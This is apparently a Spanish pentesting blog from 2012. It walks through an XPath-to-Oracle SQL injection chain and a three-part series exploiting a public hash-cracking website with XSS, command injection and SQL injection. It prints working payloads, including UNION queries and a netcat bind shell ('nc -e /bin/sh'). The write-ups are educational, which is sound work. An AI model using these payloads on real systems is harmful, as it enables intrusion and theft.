martes, 31 de enero de 2012

FaceCat en GSIC - La Coruña

Los próximos días 23, 24 y 25 de Febrero tendrá lugar en La Coruña la cuarta edición de las Jornadas G.S.I.C, en las que tendré la oportunidad de participar como ponente y hablar de una prueba de concepto de uso de canales cubiertos sobre redes sociales, concretamente FaceBook, llamada FaceCat.

En la charla, además de explicar los pasos que se siguieron para el diseño de la herramienta, haremos un par de demos de como se podría emplear esta herramienta (o técnicas parecidas) para ocultar la comunicación de un conocido troyano, siendo a nivel de red indistinguible de una comunicación de FaceBook.

Además de la mía, podréis asistir a otras charlas muy interesantes, que podéis ver AQUÍ.

Os recomiendo a todos la asistencia.
Nos vemos allí!

lunes, 16 de enero de 2012

XPath y SQL Injection: Todos a una

Por desgracia (o por suerte), muchos de nosotros estamos acostumbrado a encontrarnos esas Inyecciones SQL tan de libro como poner un ' AND '1'='1 y a partir de ahí empezar a jugar. Desde luego, son las más rápidas de encontrar y de explotar, pero del mismo modo son las menos divertidas.

Sin embargo, a veces me encuentro con vulnerabilidades más curiosas y divertidas, por ejemplo es muy típico eso de que la misma variable se use para varias cosas dentro de un mismo código, y que para llegar a explotar la vulnerabilidad tengas primero que conseguir que la cadena que metas no provoque errores anteriores.

El caso que os voy a comentar aquí es de este tipo, y está basado en casos reales que me he encontrado por ahí. Imaginad una URL del siguiente tipo:

http://demo.pentester.es/buscar.aspx?ID=666999

La web simplemente muestra la descripción de un articulo concreto, hasta aquí nada "divertido".
Podemos empezar a meter caracteres varios como si no hubiera mañana, a ver como responde, comillas simples, dobles, cadenas típicas de inyección, etc, hasta que introduzcamos algo como:

ID=666999' ERROR

Y nos devuelve un error como el siguiente:



Tiene toda la pinta de ser vulnerable a XPath Injection. Vamos a comprobarlo:

ID=666999' and 'foo'='foo



Wooops! Qué tenemos aquí? Parece que además de usar el valor del parametro ID para la consulta XPath, a posteriori usa ese mismo valor para realizar una petición SQL a una base de datos Oracle.

¿Hará esta petición siempre? ¿O únicamente si la petición XPath devuelve resultados?
Forcemos que no devuelva ninguno, a ver que pasa:

ID=666999' and 'foo'='fuu

Con esto hemos conseguido que la petición XPath sea siempre falsa, y efectivamente no nos devuelve ningún error SQL (y la ficha aparece vacía de datos, evidentemente), así que necesitamos que se nos devuelva algún valor y que la sintaxis sea correcta para que podamos intentar la Inyección SQL.

El problema con el que nos encontramos es que el contenido del parámetro ID es empleado en la consulta SQL como un numerico, así que al poner las comillas para hacer el XPath Injection fastidiamos la sintaxis de la sentencia SQL, y si no ponemos la comilla entonces estamos haciendo que la consulta XPath no devuelva ningún resultado, con lo que nunca se ejecuta la SQL.

¿Cómo salimos de esta?
Vamos a tener que inventarnos algún tipo de cadena de inyección que cumpla las siguientes condiciones:
  • No provoque un error de sintaxis XPath
  • Haga que devuelva algún valor en la consulta XPath
  • No provoque un error de sintaxis SQL
Por suerte tenemos a la vista tanto la sentencia XPath como la sentencia SQL, así que la cosa nos va a resultar mucho más fácil. Seguro que existen mucha manera de resolver este mismo problema, pero a mi la que primero me ha venido la cabeza es la siguiente:

Dado que el principal problema es que no podemos introducir instrucciones SQL por dentro de las comillas simples (que es donde nos hace falta) porque eso provoca que la petición XPath no devuelva ningún resultado y por tanto que la SQL nunca se ejecute, una posible solución sería replicar la condición de la siguiente forma:

ID=666999' or ID=666999

Lo cual, al inyectarse dentro de la petición XPath, la dejará de la siguiente manera:

TEST/REGISTROS['ID=666999' or ID='666999']

Ahora podemos introducir todo lo que queramos antes de la primera comilla (salvo comillas, claro está), y eso no provocará ningún tipo de error XPath ni impedirá que la sentencia devuelva los valores esperados, con lo que ya podemos centrarnos en la SQL.

Si observamos la SQL, tiene un montón de lineas, paréntesis, subqueries y demás. El valor que nosotros introducimos, además, aparece en varios sitios de la query, pero por suerte la primera vez que aparece es en una de las primeras condiciones de los WHERE, así que nos va a resultar bastante sencillo "cargarnos" el resto de la query comentándola:

ID=666999 -- ' or ID='666999

Eso dejaría una query SQL del aspecto de la siguiente:

SELECT a,b,c,d,e,f,g FROM t1,t2,t3,t4,t5,t6,t7,t8 WHERE id=666999 -- ' or ID='666999 [...]

Nota: Ponemos [...] en lugar de todo el churro que ya no nos interesa de ahora en adelante.

Como podeis ver, la cosa parece que se nos pone cuesta abajo a partir de este punto.
Ahora solo tenemos que concatenarle un UNION con el número de columnas adecuado a ver si conseguimos sacar información por pantalla:

ID=666999 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL -- ' or ID='666999

Esto debería sacarnos la información del artículo con todo campos vacíos, pero en lugar de eso vemos lo siguiente:



Parece ser que el mismo parámetro se usa una segunda vez para formar otra sentencia SQL, pero esta ya no tiene 7 columnas, sino una sola, así que el UNION que nos va a funcionar con una nunca funcionará con la otra. Esto podría ser un problema, pero no nos pongamos nervioso, quizá simplemente dándole a aceptar...

Efectivamente, aunque la segunda sentencia nos devuelva un error, la primera se ejecuta y además imprime los resultados por pantalla, lo cual podemos comprobarlo por ejemplo mostrando el nombre del usuario:

ID=666999 UNION SELECT NULL,USER,SYS.DATABASE_NAME,NULL,NULL,NULL,NULL FROM DUAL -- ' or ID='666999

A partir de aquí, ya seguiríamos el proceso de Inyección SQL habitual, intentar sacar las tablas, información sensible, intentar escalar privilegios, e incluso ejecutar código en el sistema operativo, si fuera posible.

jueves, 12 de enero de 2012

Crackeando un Hash Cracker (III): SQLi con MD5

Contribución de Julio Gómez: Continuamos el post de ayer y acabamos la serie sobre como se puede crackear un hash cracker:

También veo que almacenan todas las contraseñas que la aplicación rompe en una base de datos... ¿Inyección de SQL? La sentencia que utilizan es similar a la siguiente:

mysql_query ("INSERT INTO table (timestamp, hash, algorithm, pass) VALUES ('".time()."', '".$hash."', '".$algorithm."', '".$pass."')");

Como la inserción sólo se ejecuta si se recupera la contraseña, el hash y el algoritmo de cifrado tienen que haber sido correctos para poder ejecutar findmyhash por debajo. Así que sólo podemos probar a inyectar en el campo 'password'.

Utilizando el mismo método que con el Cross Site Scripting, pruebo primero con una inyección sencilla:
  1. calculo el hash de la cadena a inyectar. En este caso utilizo "password')#a" (sin las comillas): 380af891ac68ababff4d96cb2d242c06
  2. pruebo a introducir el hash para ver si lo rompe la aplicación (que lo hace, ya que lo he calculado en uno de los servicios que utiliza).
  3. accedo a la base de datos para que ver si ha añadido la cadena completa ("password')#a") o tan sólo la palabra "password", que era el objetivo. Y compruebo que la inyección ha funcionado, almacenando una password errónea:

Lo siguiente que se me ocurre es probar a insertar varios registros de una sola vez con una inyección como la siguiente:

fake1'),('1325005093','380af891ac68ababff4d96cb2d242c06','md5','fake2'),('1325005093','380af891ac68ababff4d96cb2d242c06','md5','fake3'),('1325005093','380af891ac68ababff4d96cb2d242c06','md5','fake4

cuyo hash es:

2751527becb471df139eb066442bef74

Si vuelvo a acceder a la base de datos puedo comprobar que se han añadido cuatro filas nuevas con tan sólo una consulta:


Nota Jose Selvi: Ciertamente, teniendo un acceso shell, quizá explotar una SQLi carezca de sentido, puesto que podríamos subir una webshell que accediera a la base de datos y la modificara de la forma que queramos, pero aún así Julio lo ha hecho para demostrar la existencia de la vulnerabilidad.

Como hemos visto, aunque la aplicación valida las entradas del usuario para tratar de evitar los Cross Site Scripting, hay otros vectores de inyección que no se han tenido en cuenta a la hora de implementarla.

En general, todos los datos de entrada de una aplicación, provengan de donde provengan (entradas de usuario, bases de datos, ficheros de configuración, salida de otras aplicaciones...), deben validarse de la manera más restrictiva posible y no hay que confiar en que el origen de los datos sea "confiable", porque como acabamos de ver, no siempre es realmente confiable todo lo que lo parece.
    Espero que esta entrada haya servido para echarle un poco de imaginación a la hora de descubrir posibles vectores de inyección y para comprobar que todas las aplicaciones son susceptibles de tener alguna vulnerabilidad (hemos explotado tres vulnerabilidades diferentes a través del mismo parámetro).

    miércoles, 11 de enero de 2012

    Crackeando un Hash Cracker (II): CMDi

    Contribución de Julio Gómez: Continuamos el post de antes de ayer sobre como se puede crackear un hash cracker:

    Después de haber utilizado la aplicación varias veces, vemos que los mensajes que devuelve en la salida son exactamente iguales a los de la herramienta que os comentaba al comienzo de la entrada. Además de que si consultamos la sección "What's this site?" dice específicamente que el sitio está basado en findmyhash.

    Sabiendo que findmyhash es un script en Python que se llama desde la línea de comandos y que la aplicación web está implementada en PHP, podría ser que el sitio estuviera realizando alguna llamada al sistema de la forma:

    exec ("python findmyhash.py " . $_POST['encrypt-method'] . " -h " . $_POST['hash']);

    Sabiendo que el servidor que utiliza es un Apache sobre Debian (se puede ver en la cabecera Server de la respuesta HTTP), se me ocurre probar una inyección de comandos en Linux. Algo parecido a "; ls":


    La salida aparece estar acotada a un espacio demasiado limitado para poder hacer un 'cat' de algún fichero o utilizar cualquier otro comando cuya salida sea de más de unas pocas líneas. Sería genial si tuvieran instalado el netcat para ponerlo a escuchar en algún puerto y tener una shell...

    ; nc -v -l -p 22022 -e /bin/sh


    Si no lo hubiera tenido hubiéramos podido hacer otras cosas, pero en este caso ha sido mucho más fácil de lo que esperábamos, con el netcat instalado, todos los puertos abiertos, etc.

    Una vez dentro, le podemos pegar un vistazo al código de la aplicación y confirmar que codifican los parámetros de entrada con la función de PHP 'htmlentities' para tratar de prevenir los Cross Site Scripting, pero por desgracia para el desarrollador, no solo existen los XSS.

    Nota Jose Selvi: Como nota curiosa, cuando estuvimos pegándole un vistazo a la aplicación a ver lo que hacía, vimos que guardaba en una base de datos local cada hash que se le introducía y contraseña exitosa calculada. En este caso no guardaba ninguna información más, pero podría estar guardando la IP de origen, con lo cual estaríamos proporcionando a un desconocido las llaves de nuestra casa, y además le habríamos puesto la etiqueta con la dirección. Es necesario tener mucho cuidado cuando se usan servicios públicos de crackeo de contraseñas, ya que si se crackea con éxito, no sabemos que va a pasar con esa contraseña.

    ¿Hemos dicho que la aplicación almacena en base de datos? Quizá podríamos explotar una Inyección SQL... En el próximo post.

    lunes, 9 de enero de 2012

    Crackeando un Hash Cracker (I): XSS con MD5

    Contribución de Julio Gómez: Empezamos el año con una contribución de Julio Gómez, compañero mio en el departamento de auditoría de S21sec y redactor del blog "La X Marca el Lugar" junto con otros compañeros. En su colaboración, va a destripar una de estas webs que ofrecen la posibilidad de introducirles un hash y que te devuelven su contraseña, que como veremos sufre algunos problemillas de seguridad, algo que no deja de ser gracioso teniendo en cuenta su función:

    Cada vez es más habitual que la seguridad sea una característica a tener en cuenta durante los desarrollos de cualquier tipo de software. Dentro del ámbito de las aplicaciones web, es muy frecuente que los desarrolladores estén familiarizados con los términos Cross Site Scripting o Inyección de Código SQL. El problema es que, en muchos casos, no terminan de comprender del todo los diferentes tipos de vulnerabilidades y se conforman con seguir algún manual de buenas prácticas.

    Éste es el caso de una aplicación web que recientemente me he encontrado en Internet y con la que no tengo nada que ver aunque haya gente que piense que está relacionada con una herramienta (findmyhash) que publiqué durante 2011.

    La aplicación es un muy simple. Tan sólo tiene un formulario en el que se puede introducir un hash de cualquiera de los tipos soportados. Tras hacerlo, la aplicación parece que busca en varios servicios públicos de Internet el hash para tratar de recuperar el valor de la cadena que genera dicho hash.


    Jugando un poco con la aplicación, intentando probar si es vulnerable a Cross Site Scripting, se puede comprobar que parece que filtra correctamente las entradas.

    Cuando por mi profesión tengo que recomendar cómo prevenir los Cross Site Scripting en una aplicación web, siempre recomiendo que por un lado se validen todas las entradas de la aplicación y que, además, los valores dinámicos que se generen sean codificados utilizando HTML entities.

    En la práctica, la realidad es que tan sólo se suelen validar las entradas que provengan directamente del usuario y no en todos los casos los desarrolladores se acuerdan de codificar las salidas. En el caso de esta aplicación en cuestión, las entradas de usuario están convenientemente validadas y codificadas, pero ¿y las salidas?

    Partiendo de la base de que "no sabemos" (luego veremos que sí) cómo funciona la aplicación a nivel interno. Si seguimos trasteando vemos que nos devuelve si ha sido o no capaz de romper el hash y, de hacerlo, nos indica la cadena original que genera dicho hash.

    No sé si ya habréis intuido por dónde voy... Las entradas se validan correctamente, pero ¿y si introducimos un hash que se corresponda con alguna cadena HTML? ¿Estarán codificando también la salida de la aplicación?

    Si probamos a introducir hashes correspondientes a cadenas de inyección típicas (<script>alert("XSS")</script>) vemos que directamente la aplicación no es capaz de romperlas. Que por otro lado tiene sentido porque este tipo de aplicaciones suelen utilizarse para romper contraseñas y ¿quién utiliza como contraseña un vector de inyección para XSS? (que por otro lado sería una contraseña bastante buena...)

    No obstante, como en la respuesta de la aplicación nos muestra algunos de los servicios que utiliza, al cabo de un rato de investigar encontramos uno que nos permite no sólo romper un hash, sino calcular uno nuevo a partir de una cadena. De este modo, se queda almacenada en su base de datos la cadena original y el hash asociado.


    Para el ejemplo, he utilizado la cadena:
    <iframe src="http://www.bing.com" style="position:absolute;z-index:200;display:inline;"></iframe>
    cuyo MD5 es:
    e8de8366340de0d9bda9858e97b42573
    Si ahora probamos a introducir este MD5 en el buscador... ¡Bingo! La aplicación no codifica las salidas correctamente. Tenemos un Cross Site Scripting en toda regla, aunque algo rebuscado y de poca utilidad en un caso real.


    Ahora que hemos conseguido realizar un XSS de esta forma un tanto alternativa, podemos irnos a probar otro tipo de vulnerabilidades en la página. Pero eso en el post de mañana.